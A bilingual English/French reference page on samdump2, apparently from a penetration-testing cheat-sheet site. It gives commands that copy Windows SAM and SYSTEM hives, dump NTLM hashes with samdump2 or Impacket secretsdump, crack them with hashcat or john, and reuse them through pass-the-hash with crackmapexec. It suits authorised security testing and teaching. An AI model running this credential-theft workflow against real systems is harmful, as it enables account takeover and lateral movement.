samdump2

Extrait les hashes de mots de passe depuis les fichiers de ruches de registre SAM et SYSTEM de Windows. Produit des hashes NTLM pour un cracking hors-ligne ou des attaques pass-the-hash. Extracts password hashes from Windows SAM and SYSTEM registry hive files. Produces NTLM hashes for offline cracking or pass-the-hash attacks.

↗ https://github.com/azan121468/SAMdump2

Overview

samdump2 extracts NTLM password hashes from Windows SAM (Security Account Manager) database files. The SAM database stores local user account hashes, but they’re encrypted with the SYSKEY stored in the SYSTEM hive — samdump2 handles the decryption automatically.

Requirements

# You need both files from a Windows system:
# 1. C:\Windows\System32\config\SAM    → local accounts database
# 2. C:\Windows\System32\config\SYSTEM → contains decryption key (SYSKEY)

# These files are locked while Windows is running
# Must be obtained from:
# - An offline system (boot from Linux/USB)
# - A backup/shadow copy
# - A domain controller (NTDS.dit for domain accounts)

Basic Usage

Extract hashes from offline SAM + SYSTEM files

samdump2 SYSTEM SAM
# Output is NTLM hashes in format:
# username:RID:LM_hash:NT_hash:::

Example Output

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user:1001:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

# LM hash: aad3b435b51404eeaad3b435b51404ee = empty/null
# NT hash: the crackable NTLM hash

Obtaining SAM/SYSTEM Files

Method 1: Volume Shadow Copy (from Windows with admin)

vssadmin list shadows

→ → Shadow Copy Volume Name: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .

# Method 2: Registry export (from admin cmd)
reg save HKLM\SAM SAM
reg save HKLM\SYSTEM SYSTEM

# Method 3: From Linux/live boot
# Mount Windows partition and copy files
mount /dev/sda2 /mnt/windows
cp /mnt/windows/Windows/System32/config/SAM ./
cp /mnt/windows/Windows/System32/config/SYSTEM ./

Alternatives (Impacket)

secretsdump.py is more commonly used now Remote (requires admin credentials)

python3 secretsdump.py 'domain/admin:password'@10.10.10.1

Local (with SAM/SYSTEM files)

python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

From shadow copy

python3 secretsdump.py -sam SAM -system SYSTEM -ntds ntds.dit LOCAL

Cracking the Hashes

Extract NT hashes from output

samdump2 SYSTEM SAM | cut -d: -f4 > ntlm_hashes.txt

Crack with hashcat

hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Or with john

john --format=NT ntlm_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Pass-the-hash (no cracking needed) Use NT hash directly with impacket/CrackMapExec

crackmapexec smb 10.10.10.1 -u administrator -H 'NT_HASH'

Tips

  • The LM hash is almost always blank on modern Windows (Vista+) — focus on the NT hash
  • NT hash (last colon-separated field) is the one to crack with hashcat mode 1000
  • aad3b435b51404eeaad3b435b51404ee as LM hash means LM is disabled (good)
  • 31d6cfe0d16ae931b73c59d7e0c089c0 as NT hash means empty password
Help / Man page
samdump2 [options] <SYSTEM> <SAM>

-o FILE    Output to file (default: stdout)
-d         Debug output

Input files:
  SYSTEM   Windows SYSTEM registry hive
  SAM      Windows SAM registry hive

Output format:
  username:RID:LM_hash:NT_hash:::

Vue d’ensemble

samdump2 extrait les hashes de mots de passe NTLM depuis les fichiers de base de données SAM (Security Account Manager) de Windows. La base SAM stocke les hashes des comptes locaux, mais ils sont chiffrés avec la SYSKEY stockée dans la ruche SYSTEM : samdump2 gère automatiquement le déchiffrement.

Prérequis

# Il faut les deux fichiers d'un système Windows :
# 1. C:\Windows\System32\config\SAM    → base de données des comptes locaux
# 2. C:\Windows\System32\config\SYSTEM → contient la clé de déchiffrement (SYSKEY)

# Ces fichiers sont verrouillés pendant que Windows tourne
# Il faut les obtenir depuis :
# - Un système hors-ligne (boot depuis Linux/USB)
# - Une sauvegarde/copie shadow
# - Un contrôleur de domaine (NTDS.dit pour les comptes de domaine)

Utilisation basique

Extraire les hashes depuis des fichiers SAM + SYSTEM hors-ligne

samdump2 SYSTEM SAM
# La sortie est constituée de hashes NTLM au format :
# username:RID:LM_hash:NT_hash:::

Exemple de sortie

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user:1001:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

# Hash LM : aad3b435b51404eeaad3b435b51404ee = vide/nul
# Hash NT : le hash NTLM crackable

Obtention des fichiers SAM/SYSTEM

Méthode 1 : copie shadow de volume (depuis Windows avec droits admin)

vssadmin list shadows

→ → Shadow Copy Volume Name: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .

# Méthode 2 : export du registre (depuis une invite de commande admin)
reg save HKLM\SAM SAM
reg save HKLM\SYSTEM SYSTEM

# Méthode 3 : depuis Linux/live boot
# Monter la partition Windows et copier les fichiers
mount /dev/sda2 /mnt/windows
cp /mnt/windows/Windows/System32/config/SAM ./
cp /mnt/windows/Windows/System32/config/SYSTEM ./

Alternatives (Impacket)

secretsdump.py est plus couramment utilisé aujourd’hui. À distance (nécessite des identifiants admin)

python3 secretsdump.py 'domain/admin:password'@10.10.10.1

En local (avec les fichiers SAM/SYSTEM)

python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

Depuis une copie shadow

python3 secretsdump.py -sam SAM -system SYSTEM -ntds ntds.dit LOCAL

Cracker les hashes

Extraire les hashes NT de la sortie

samdump2 SYSTEM SAM | cut -d: -f4 > ntlm_hashes.txt

Casser avec hashcat

hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Ou avec john

john --format=NT ntlm_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Pass-the-hash (aucun cracking nécessaire). Utiliser le hash NT directement avec impacket/CrackMapExec

crackmapexec smb 10.10.10.1 -u administrator -H 'NT_HASH'

Conseils

  • Le hash LM est presque toujours vide sur les Windows modernes (Vista+) : se concentrer sur le hash NT
  • Le hash NT (dernier champ séparé par des deux-points) est celui à casser avec hashcat en mode 1000
  • aad3b435b51404eeaad3b435b51404ee comme hash LM signifie que LM est désactivé (bon signe)
  • 31d6cfe0d16ae931b73c59d7e0c089c0 comme hash NT signifie un mot de passe vide
Aide / Page de manuel
samdump2 [options] <SYSTEM> <SAM>

-o FILE    Output to file (default: stdout)
-d         Debug output

Input files:
  SYSTEM   Windows SYSTEM registry hive
  SAM      Windows SAM registry hive

Output format:
  username:RID:LM_hash:NT_hash:::